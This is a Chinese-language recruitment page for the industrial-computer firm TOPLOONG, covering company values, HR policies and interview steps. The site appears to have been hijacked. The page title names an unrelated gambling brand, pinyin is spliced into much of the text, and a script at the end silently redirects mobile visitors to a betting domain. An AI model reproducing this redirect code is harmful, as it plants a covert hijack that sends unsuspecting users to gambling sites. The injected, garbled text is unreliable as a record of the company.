亚博游戏官网

关于我们
快速查找
关于我们 >> 亚博游戏官网

sprit.jpg

经营(ying)理念:

以(yi)优良的(de)品质奉献(xian)于(yu)(yu)客户(hu);以(yi)合理(li)的(de)价格让(rang)利于(yu)(yu)客户(hu);以(yi)更(geng)多的(de)新品满(man)足(zu)于(yu)(yu)客户(hu);以(yi)良好(hao)的(de)信誉和(he)完善的(de)服务取信于(yu)(yu)客户(hu).

企业作风:

用心做事,踏实做人

发展目标:

科技(ji)创新,以一流的(de)(de)(de)产品,满意(yi)的(de)(de)(de)服务(wu),持续提升的(de)(de)(de)质量(liang)水准(zhun),满足(zu)客户(hu)的(de)(de)(de)要求.

员工文化

这里(li)是一(yi)充满机会(hui)(hui)的(de)(de)(de)地方,公司的(de)(de)(de)工(gong)(gong)作(zuo)(zuo)氛围,同事(shi)的(de)(de)(de)工(gong)(gong)作(zuo)(zuo)能力使得(de)(de)这里(li)成为您(nin)最(zui)佳(jia)的(de)(de)(de)学(xue)习场所,企业(ye)的(de)(de)(de)迅速成长(zhang),公司实力的(de)(de)(de)不(bu)断增强,使得(de)(de)您(nin)的(de)(de)(de)能力能够尽情发挥,也许,这里(li)就是属于你(ni)自己(ji)事(shi)业(ye)的(de)(de)(de)起跑线。这里(li)是一(yi)个企业(ye),更是一(yi)项(xiang)事(shi)业(ye):我们(men)要(yao)求你(ni)有敬业(ye)的(de)(de)(de)心,进取(qu)的(de)(de)(de)心,和认真的(de)(de)(de)工(gong)(gong)作(zuo)(zuo)习惯。没(mei)有进取(qu)心的(de)(de)(de)人是不(bu)会(hui)(hui)懂得(de)(de)放弃一(yi)时(shi)的(de)(de)(de)轻松换来人生(sheng)的(de)(de)(de)飞跃的(de)(de)(de),没(mei)有敬业(ye)的(de)(de)(de)人是不(bu)会(hui)(hui)明白,"做得(de)(de)最(zui)好"的(de)(de)(de)意义的(de)(de)(de),好的(de)(de)(de)工(gong)(gong)作(zuo)(zuo)习惯能让(rang)你(ni)受益终生(sheng)!


职(zhi)位(wei)名称 招聘(pin)人数 工(gong)作地点 发布日期 备(bei)注
  • 人本化理念
    作为一家高新科技型企业,我们把知识的载体、创新的动力-人才,视为公司最宝贵的财富,让每一位员工都受到尊重;我们信赖每一位员工,通过无障碍沟通,相互交换意见,鼓励员工参与,秉承民主、开放、支持的一贯工作作风,营造宽松、友善、诚信的人文环境。 借助人力资源资本化形式,我们使人才价值得以体现和补偿。保持人力资本的持续增值,也是我们最为关注的企业经营行为。
  • 科学、高效的选人机制
    优秀的人才是公司发展的动力。我们通过科学的甄选方法、严格的甄选标准、完善的选人流程,建立科学有效、反应迅速、灵活多样的招聘体系,确保认同企业核心价值理念的最合适的人员进入公司,为公司高效运营提供人力资源支撑。
  • 公正、竞争的用人机制
    随着企业高速成长,我们为员工个人发展构建了广阔平台,让员工能触及独有的领先技术,赋予极具挑战性的创业性角色; 我们保证每一位付出努力又具备才干的员工,得到公正的发展机会,在目标管理、绩效考核的基础上,引入竞争机制,促进人才脱颖而出,委以重任。
  • 丰富、全面(mian)的育人机制(zhi)
    借助知识管理手段,通过新员工导师制度、在职培训、脱产培训及自我培训等多种方式,进行人力资源开发,实现员工的自我发展。 新员工导师制:公司为每名新员工配备一名导师,通过工作、生活等各方面的辅导,帮助新员工尽快融入团队,更好进入工作状态。 在职及脱产培训:公司为每个岗位设置培训课程,由公司讲师或外请专家进行讲授,确保员工的知识技能成长;公司外派技术骨干参加专项培训,保障员工知识的及时更新。
  • 温馨、完(wan)善(shan)的留人机制
    我们致力于把TOPLOONG(拓普龙工控)从“职工之家”改变为一个制度化的工作场所,愿每位员工都在此经历人生美好的时光!
  • 1、投递简(jian)历(li)

    ①、发送简历到我司人力资源部邮箱rs01@myradus.com,邮件主题请注明申请职位;
    ②、面试电话:0755-27975025/28085341;

  • 2、简历筛选(xuan)

    收到您的简历后(hou),我(wo)们(men)会(hui)组织专业(ye)的HR人(ren)(ren)员(yuan)和业(ye)务人(ren)(ren)员(yuan)进行初步(bu)筛选和评(ping)审,当您通过初步(bu)筛选之后(hou)我(wo)们(men)会(hui)通过邮件(jian)、短(duan)信或电话等多种方式和您取(qu)得联系(xi),邀请您参加面(mian)谈。

  • 3、初(chu)试

    祝(zhu)贺您(nin)!您(nin)已(yi)经通过我们的初步筛(shai)选(xuan)。请带好身(shen)份证、学历证书(shu)、相关资格证书(shu)以及(ji)个人简(jian)历准时参加我司安排的面试。

  • 4、笔(bi)试

    为(wei)方便求(qiu)职者,在面(mian)谈后我们根据岗位(wei)需要,会(hui)安(an)排(pai)笔试。

  • 5、面谈

    根据初(chu)试以及笔试结果(guo),我(wo)们会确定(ding)是否安(an)排人力(li)资源部、用人部门(men)一(yi)起(qi)和(he)您进行面谈(tan)。届时(shi),我(wo)们会有更深入(ru)的(de)了(le)解和(he)沟通。

  • 基本流程如上,请应聘者预先安排时间,明确行车路线,并携带身份证、毕业证及相关证件(原件)前来面试。期间如有任何疑问可来电咨询,谢谢!如果您通过了简历筛选,通过了笔试、面试,那么祝贺您!——签订相关协议后,您就即将成为拓普龙工控的一员!

在(zai)线客服
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();